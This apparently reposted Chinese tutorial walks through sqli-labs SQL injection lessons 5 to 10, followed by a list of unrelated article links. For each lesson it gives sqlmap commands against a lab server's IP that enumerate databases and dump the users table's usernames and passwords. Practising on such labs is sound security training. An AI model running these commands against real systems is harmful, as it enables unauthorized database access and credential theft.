2-手工sql注入(进阶篇) sqlilabs靶场5-10题

news2024/11/22 17:50:10

1. 阅读,学习本章前,可以先去看看基础篇:1-手工sql注入(基础篇)-CSDN博客

2. 本章通过对sqlilabs靶场的实战,关于sqlilabs靶场的搭建:Linux搭建靶场-CSDN博客

3. 本章会使用到sqlmap,关于sqlmap的命令:sql注入工具-​sqlmap-CSDN博客

点击访问题目:

通过 url 参数访问题目:http://服务器地址/sqlilabs/Less-1/

  • Less-1 是第一题题目
  • Less-2 是第二题题目 
  • 以此类推,进行访问

判断注入类型:在SQL注入中,判断是字符型注入还是数字型注入可以通过以下方法:

  • 1. 观察注入点的上下文:在注入点前后的SQL语句中,如果注入点处的参数被引号包围(例如:'1'),则很可能是字符型注入;如果不被引号包围(例如:1),则可能是数字型注入。
  • 2. 字符串函数的使用:在注入点处,如果使用了字符串函数(如CONCAT、SUBSTRING、LENGTH等),则很可能是字符型注入。这是因为字符串函数通常用于修改字符串值,而数字类型的参数并不需要使用字符串函数。
  • 3. 错误消息:如果在注入点处注入了非法字符或非法语法,且数据库返回了错误消息,可以通过错误消息中的内容来判断是字符型注入还是数字型注入。例如,如果错误消息中包含了关于字符串数据类型的错误信息(如字符串转换错误),则可能是字符型注入。
  • 4. 注入点的响应:在注入点处注入不同类型的数据,观察数据库的响应。如果注入点返回了期望的结果(如查询结果集),则可能是字符型注入;如果注入点返回了错误信息或者无效的结果,可能是数字型注入。

 Less-5

第五题的题目Less-5需要通过给url传递 id 参数访问:也就是我们的注入点

  • 例如:http:///sqlilabs/Less-5/?id=1 访问(查询)数据库中id为1的数据
  • 分析:
    • 请求方式:get请求
    • 请求参数:id
    • 返回内容:正常访问下传递id参数不会返回查询的数据,不管id传递的什么值,查询正常都返回You are in...........,否则不返回,也可以称为盲注,
  • 模拟场景:通过传入的id值判断用户是否存在

注入点:http://38.147.186.138/sqlilabs/Less-5/?id=1 

sqlmap

  1. 检测注入点:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" --batch
  2. 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" --batch --dbs
  3. 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" --batch --current-db
  4. 获取security数据库中的数据表:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" -D "security" --tables --batch
  5. 获取users表中字段:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" -D "security" -T "users" --columns --batch
  6. 获取数据:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" -D "security" -T "users" -C "username,password" --dump  --batch

Less-6

第六题的题目Less-6需要通过给url传递 id 参数访问:也就是我们的注入点

  • 例如:http:///sqlilabs/Less-6/?id=1 访问(查询)数据库中id为1的数据
  • 分析:
    • 请求方式:get请求
    • 请求参数:id
    • 返回内容:正常访问下传递id参数不会返回查询的数据,不管id传递的什么值,查询正常都返回You are in...........,否则不返回,也可以称为盲注,
  • 模拟场景:通过传入的id值判断用户是否存在

注入点:http://38.147.186.138/sqlilabs/Less-6/?id=1 

sqlmap

  1. 检测注入点:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" --batch
  2. 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" --batch --dbs
  3. 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" --batch --current-db
  4. 获取security数据库中的数据表:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" -D "security" --tables --batch
  5. 获取users表中字段:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" -D "security" -T "users" --columns --batch
  6. 获取数据:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" -D "security" -T "users" -C "username,password" --dump  --batch

Less-7

第七题的题目Less-7需要通过给url传递 id 参数访问:也就是我们的注入点

  • 例如:http:///sqlilabs/Less-7/?id=1 访问(查询)数据库中id为1的数据
  • 分析:
    • 请求方式:get请求
    • 请求参数:id
    • 返回内容:正常访问下传递id参数不会返回查询的数据,不管id传递的什么值,查询正常都返回You are in...........,否则不返回,也可以称为盲注,
  • 模拟场景:通过传入的id值判断用户是否存在

注入点:http://38.147.186.138/sqlilabs/Less-7/?id=1 

sqlmap

  1. 检测注入点:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" --batch
  2. 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" --batch --dbs
  3. 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" --batch --current-db
  4. 获取security数据库中的数据表:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" -D "security" --tables --batch
  5. 获取users表中字段:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" -D "security" -T "users" --columns --batch
  6. 获取数据:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" -D "security" -T "users" -C "username,password" --dump  --batch

Less-8

第八题的题目Less-8需要通过给url传递 id 参数访问:也就是我们的注入点

  • 例如:http:///sqlilabs/Less-8/?id=1 访问(查询)数据库中id为1的数据
  • 分析:
    • 请求方式:get请求
    • 请求参数:id
    • 返回内容:正常访问下传递id参数不会返回查询的数据,不管id传递的什么值,查询正常都返回You are in...........,否则不返回,也可以称为盲注,
  • 模拟场景:通过传入的id值判断用户是否存在

注入点:http://38.147.186.138/sqlilabs/Less-8/?id=1 

sqlmap

  1. 检测注入点:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" --batch
  2. 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" --batch --dbs
  3. 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" --batch --current-db
  4. 获取security数据库中的数据表:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" -D "security" --tables --batch
  5. 获取users表中字段:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" -D "security" -T "users" --columns --batch
  6. 获取数据:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" -D "security" -T "users" -C "username,password" --dump  --batch

 Less-9

第九题的题目Less-9需要通过给url传递 id 参数访问:也就是我们的注入点

  • 例如:http:///sqlilabs/Less-9/?id=1 访问(查询)数据库中id为1的数据
  • 分析:
    • 请求方式:get请求
    • 请求参数:id
    • 返回内容:正常访问下传递id参数不会返回查询的数据,不管id传递的什么值,查询正常都返回You are in...........,否则不返回,也可以称为盲注,
  • 模拟场景:通过传入的id值判断用户是否存在

注入点:http://38.147.186.138/sqlilabs/Less-9/?id=1 

sqlmap

  1. 检测注入点:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" --batch
  2. 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" --batch --dbs
  3. 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" --batch --current-db
  4. 获取security数据库中的数据表:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" -D "security" --tables --batch
  5. 获取users表中字段:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" -D "security" -T "users" --columns --batch
  6. 获取数据:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" -D "security" -T "users" -C "username,password" --dump  --batch

  Less-10

第十题的题目Less-10需要通过给url传递 id 参数访问:也就是我们的注入点

  • 例如:http:///sqlilabs/Less-10/?id=1 访问(查询)数据库中id为1的数据
  • 分析:
    • 请求方式:get请求
    • 请求参数:id
    • 返回内容:正常访问下传递id参数不会返回查询的数据,不管id传递的什么值,查询正常都返回You are in...........,否则不返回,也可以称为盲注,
  • 模拟场景:通过传入的id值判断用户是否存在

注入点:http://38.147.186.138/sqlilabs/Less-10/?id=1 

sqlmap

  1. 检测注入点:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 --batch
  2. 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 --batch --dbs
  3. 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 --batch --current-db
  4. 获取security数据库中的数据表:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 -D "security" --tables --batch
  5. 获取users表中字段:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 -D "security" -T "users" --columns --batch
  6. 获取数据:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 -D "security" -T "users" -C "username,password" --dump  --batch

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1648154.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

TC3xx MTU概述(1)

目录 1.MTU基本功能 2.MBIST 3.小结 1.MTU基本功能 在TC3xx中,MTU(Memory Unit Test)被用来管理控制芯片内部各种RAM的测试、初始化和数据完整性检查。 既然MTU主要是管理和控制,那干活的想必另有他人。所以在该平台中,我们可以看到SRAM…

公众号营业执照已注销,被冻结怎么换成新主体?

公众号迁移有什么作用?只能变更主体吗?长期以来,由于部分公众号在注册时,主体不准确的历史原因,或者公众号主体发生合并、分立或业务调整等现实状况,在公众号登记主体不能对应实际运营人的情况下&#xff0…

第八篇:深入探索操作系统架构:从基础到前沿

深入探索操作系统架构:从基础到前沿 1 引言 在当今这个高速发展的数字时代,操作系统无疑是计算机科学领域的基石之一。它不仅是计算机硬件与最终用户之间的桥梁,更是实现高效计算和资源管理的关键。操作系统的架构,即其内部结构和…

企业节能降耗系统,助力企业节能降耗

随着社会的发展和能源消耗的增加,节能降耗已经成为企业可持续发展的重要课题。为了更有效地监测和管理能源消耗,越来越多的企业开始使用能耗在线监测系统。作为一种节能降耗的有力手段,能耗在线监测系统在企业中得到广泛应用。 能耗在线监测…

AI智能分析视频监控行业的发展趋势和市场发展浅析

监控视频AI智能分析技术的现状呈现出蓬勃发展的态势,这一技术源于计算机视觉和人工智能的研究,旨在将图像与事件描述之间建立映射关系,使计算机能够从视频图像中分辨出目标信息。 在技术上,监控视频AI智能分析技术已经实现了对视…

XAMPP是什么?XAMPP好不好用?

XAMPP是一个免费且开源的软件套件,用于在个人计算机上轻松搭建和运行 Apache 服务器、MySQL 数据库、PHP 和 Perl,让用户可以在个人电脑上搭建服务器环境的平台。 XAMPP的由来是 X(表示跨平台)、Apache、MySQL、PHP 和 Perl 的首字母缩写。 它集成了这…

【隧道篇 / WAN优化】(7.4) ❀ 02. WAN优化的作用 ❀ FortiGate 防火墙

【简介】看了上一篇文章,相信大家都知道了在防火墙上启动WAN优化的方法,但是WAN优化到底能做什么?相信有很多人想了解。 什么是WAN优化 现在有许多企业通过集中应用程序或在云中提供应用程序来降低成本并整合资源。应用程序在本地局域网内都能…

汇凯金业:通货膨胀对能源行业有何影响

通货膨胀对能源行业有几方面的影响,具体取决于通货膨胀的原因、规模以及持续时间。以下是一些可能的效应: 成本增加:通货膨胀导致能源行业的运营成本上升。这包括原材料、设备、维护和人力成本。如果企业不能完全将成本转嫁给消费者&#xf…

初学python记录:力扣1329. 将矩阵按对角线排序

题目: 矩阵对角线 是一条从矩阵最上面行或者最左侧列中的某个元素开始的对角线,沿右下方向一直到矩阵末尾的元素。例如,矩阵 mat 有 6 行 3 列,从 mat[2][0] 开始的 矩阵对角线 将会经过 mat[2][0]、mat[3][1] 和 mat[4][2] 。 …

不必追求深度,浅尝辄止为宜

近日笔者撰文称,有幸应《百度-百家号》相邀,在其发起的《征文任务》栏目中写作深度文章,便试着开头写了一篇《万科有“活下去”的可能性吗?》的时评文章,于5月3日发表,舆情反映不错,不到三天时间…

万里牛ERP集成金蝶K3(万里牛主管供应链)

源系统成集云目标系统 金蝶K3介绍 金蝶K3是一款ERP软件,它集成了供应链管理、财务管理、人力资源管理、客户关系管理、办公自动化、商业分析、移动商务、集成接口及行业插件等业务管理组件。以成本管理为目标,计划与流程控制为主线&#xff0…

Jupyter配置

修改Jupyter打开界面 (1)打开【Anaconda Prompt】,输入【jupyter notebook --generate-config】命令 从运行结果可知【jupyter_notebook_config.py】的位置 (2)使用【记事本】打开 找到# c.NotebookApp.notebook_…

智能且用户友好的命令行:实时自动建议、精美标签补全 | 开源日报 No.246

fish-shell/fish-shell Stars: 24.4k License: NOASSERTION fish-shell 是一个用户友好的命令行 shell。 它是一个智能且用户友好的命令行 shell,适用于 macOS、Linux 以及其他相关系统。其特性包括语法高亮、实时自动建议和精美的标签补全,无需额外配置…

[CR]厚云填补_M3R-CR Dataset and Align-CR

Multimodal and Multiresolution Data Fusion for High-Resolution Cloud Removal: A Novel Baseline and Benchmark Abstract 去云(Cloud Removal)是遥感领域的一个重要且具有挑战性的问题,近年来在这一领域取得了显著进展。两个主要问题仍然阻碍着CR的发展&#…

Java设计模式 _结构型模式_代理模式(静态,动态)

一、基础概念 1、代理模式 代理模式(Proxy Pattern)是一种结构型设计模式。它允许我们通过添加一个代理对象来控制对另一个对象的访问,从而实现一些额外的功能,如访问控制、日志记录、性能监控等。代理模式主要分为静态代理和动态…

本地的git仓库和远程仓库

文章目录 1. 远程创建仓库2. 关联远程和本地代码3. 推送本地分支到远程 1. 远程创建仓库 2. 关联远程和本地代码 上面创建完后会得到一个git仓库的链接,有SSH或者http的 http://gitlab.xxxxx.local:18080/xxxxx/dvr_avm.git ssh://gitgitlab.xxxxx.local:10022/xx…

移动硬盘无法被识别怎么办?恢复移动硬盘3个正确做法

移动硬盘已成为我们日常生活和工作中不可或缺的数据存储设备。然而当移动硬盘突然无法被电脑识别时,往往会让人倍感焦虑。面对这种情况我们不必过于慌张,下面一起来看看指南解决。 解决方法一:检查硬件连接与供电 检查接口连接&#xff1a…

C++面向对象三大特性之---多态

一、多态的概念 多态的概念:通俗来说,就是多种形态,具体点就是去完成某个行为,当不同的对象去完成时会 产生出不同的状态。比如同样是买票的操作,学生买票就会打折,而普通的成人买票就是全款。 二、多态的…

ChatGPT变懒原因:正在给自己放寒假!已被网友测出

ChatGPT近期偷懒严重,有了一种听起来很离谱的解释: 模仿人类,自己给自己放寒假了~ 有测试为证,网友Rob Lynch用GPT-4 turbo API设置了两个系统提示: 一个告诉它现在是5月,另一个告诉它现在是1…

【go项目01_学习记录03】

学习记录 1 路由http.ServeMux1.1 查看HandleFunc方法源码1.2 查看ListenAndServe方法源码1.3 重构:使用自定义的 ServeMux1.4 http.ServeMux 的局限性1.4.1 URI 路径参数1.4.2 请求方法过滤1.4.3 不支持路由命名 1.5 http.ServeMux 的优缺点 1 路由http.ServeMux …